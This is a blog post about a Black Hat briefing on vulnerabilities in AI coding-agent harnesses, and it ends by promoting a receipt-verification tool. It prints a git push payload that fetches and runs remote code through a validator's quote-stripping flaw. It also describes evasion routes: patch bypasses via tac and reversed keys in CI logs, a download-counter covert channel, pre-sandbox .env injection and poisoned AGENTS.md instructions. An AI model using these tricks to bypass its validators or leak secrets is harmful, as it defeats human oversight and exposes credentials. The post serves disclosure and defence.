I've spent the last week reading through the technical writeups from Novee Security's Black Hat USA 2026 briefing, "Trusted Enough to Run: Breaking AI Agents in Official Workflows." The title sounds broad. The content is not. They found three distinct, exploitable vulnerabilities in three of the most widely used AI coding agents — each in the agent's own repository, each triggered by code the agent itself was asked to review.
The details matter, because they reveal a pattern that detection alone cannot solve.
CVE-2026-54316. CVSS v4 score 6.0. Affects Claude Code versions >=0.2.54 and <2.1.163.
The command validator ran 23 security checks on every command before allowing execution. But before any of those checks ran, a preprocessing step stripped single-quoted text from the command string. The idea was presumably to normalize whitespace or remove literal arguments. The effect was that anything inside single quotes was invisible to every single security check.
The payload was straightforward:
git push --receive-pack='$(curl -s https://attacker.example/payload | bash)' origin main
The validator saw git push origin main
. The shell saw something else entirely.
Anthropic patched it. Then Novee found two bypasses against the patch.
First bypass: use tac
to read arbitrary files (the reverse of cat
, which was still blocked), then exfiltrate the contents through a public GitHub Actions log. They reversed an API key so the log scanner wouldn't flag it on write, then reversed it back after reading the log.
Second bypass: use HuggingFace's public download counter as a covert channel. Each model download increments a counter visible to the repository owner. Encode data into the number of downloads triggered by the agent, read the counter from a separate request. No exfiltration channel, no DNS, no HTTP callback — just a public number going up.
Both bypasses worked because the patch fixed the single-quote strip but did not change the fundamental architecture: the validator saw a sanitized representation of the command, not the command that would actually execute.
CVE-2026-12537. CVSS v3.1 score 10.0. That's the maximum — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. GHSA-wpqr-6v78-jr5g.
Gemini CLI had 106,000+ stars and roughly 2 million monthly installs at the time of disclosure.
In headless CI mode, Gemini CLI automatically loaded .gemini/.env
from the repository and trusted its contents. This happened before the sandbox started. A malicious .gemini/.env
file could set environment variables that controlled the agent's behavior, including injecting API endpoints and credentials, before any security boundary was established.
That alone would be bad. But there was a second issue: the --yolo
flag, which skips confirmation prompts, parsed an allowlist of commands that were permitted without approval. The allowlist was parsed. It was never enforced. Any command in the allowlist was treated as pre-approved, but so was any command that looked enough like an allowlisted command to survive the comparison.
And in the sandboxed environment, the agent could read /proc
to access the parent process's environment — including secrets that were never meant to be visible to the code being reviewed.
Google classified this as a "supply chain compromise." The fix landed in versions 0.39.1 and 0.40.0-preview.3 of Gemini CLI, and version 0.1.22 of run-gemini-cli. Dan Lisichkin of Pillar Security was a co-discoverer.
No CVE here. No CVSS score. But the vulnerability is in some ways the most revealing.
Codex operates in two steps in CI. The first step checks out the repository and runs the agent. The second step also checks out the same repository and runs the agent. They share the working directory.
The first step writes AGENTS.md
to the repository. OpenAI's own documentation classifies AGENTS.md
as untrusted input — it's a file from the repository, potentially controlled by an attacker. But the second step loads AGENTS.md
as instructions. The agent trusts the file because it exists on disk, as if it had been there before the job started.
The fix took three days: isolate the jobs so they no longer share a checkout. But the multi-pass pattern — first agent writes configuration, second agent reads it — has been widely copied across the ecosystem. Novee found the same vulnerable default patterns in over 100 public repositories.
Elad Meged of Novee Security put it precisely: "The harness is the code between the model and the real world."
Each of these vulnerabilities is a failure at a trust handoff:
.gemini/.env
in a checked-out repository was safe to load before sandboxing. It was not.AGENTS.md
on disk was the same AGENTS.md
that was there when the job started. It was not.In every case, detection could tell you that something might go wrong. A log might show a git push
command. A monitor might flag an unexpected environment variable. An audit trail might record that AGENTS.md
was modified.
But detection cannot tell you what actually happened after the trust boundary was crossed. It cannot prove that the validator's sanitized view diverged from the shell's parsed view. It cannot prove which .env
values were loaded before the sandbox started. It cannot prove that the AGENTS.md
read by the second step was written by the first step in the same job.
Logs can be tampered with. Timestamps can be spoofed. A process that can execute arbitrary code can rewrite its own audit trail.
What you need is cryptographic evidence: a chain of signed receipts where each receipt records exactly what crossed a trust boundary, what the boundary was, and what the receiving side did with it.
When Claude Code's validator inspects a command, it should produce a signed receipt containing the exact bytes it evaluated and the set of checks that passed. The shell executor should produce a signed receipt containing the exact bytes it received and parsed. If those two receipts do not match — if the validator saw git push origin main
and the shell saw a command substitution — the discrepancy is provable, not just detectable.
When Gemini CLI loads .gemini/.env
, it should produce a signed receipt containing the file hash, the source (checked-out repository vs. pre-existing), and whether the sandbox was active at load time. A receipt that says "loaded before sandbox, file hash X" is evidence. A log line that says "loaded .env" is not.
When Codex's second step reads AGENTS.md
, it should verify a signed receipt from the first step recording that it wrote the file, when, and from what source. No receipt, no trust.
This is not a new idea. It's the same principle behind TLS certificate chains, signed git commits, and transparency logs. But it has not been applied systematically to the trust boundaries inside AI agent harnesses.
I've been working on ccs-verifier
, a tool that verifies cryptographic receipt chains across trust boundaries in agent workflows. It's ELv2 licensed, has 157 tests, and installs with:
pip install ccs-verifier
The conformance vector suite — a set of test cases that define what a valid receipt chain must look like for common agent operations — is maintained at MIT and available at github.com/DSHCorrectover/ccs-conformance-vectors.
The Black Hat research makes the case better than I ever could. Three agents, three trust handoff failures, each in the agent's own repository. Detection tells you something might be broken. Cryptographic receipts tell you exactly what happened, when, and across which boundary — and they cannot be rewritten by the process they're auditing.
If you're running AI coding agents in CI, the question is not whether your logs will show the attack. The question is whether you can prove what your agent actually did — not what it was supposed to do, not what a sanitized validator thought it was doing, but what actually crossed the boundary between the model and the real world.
That question has a different answer depending on whether you have receipts.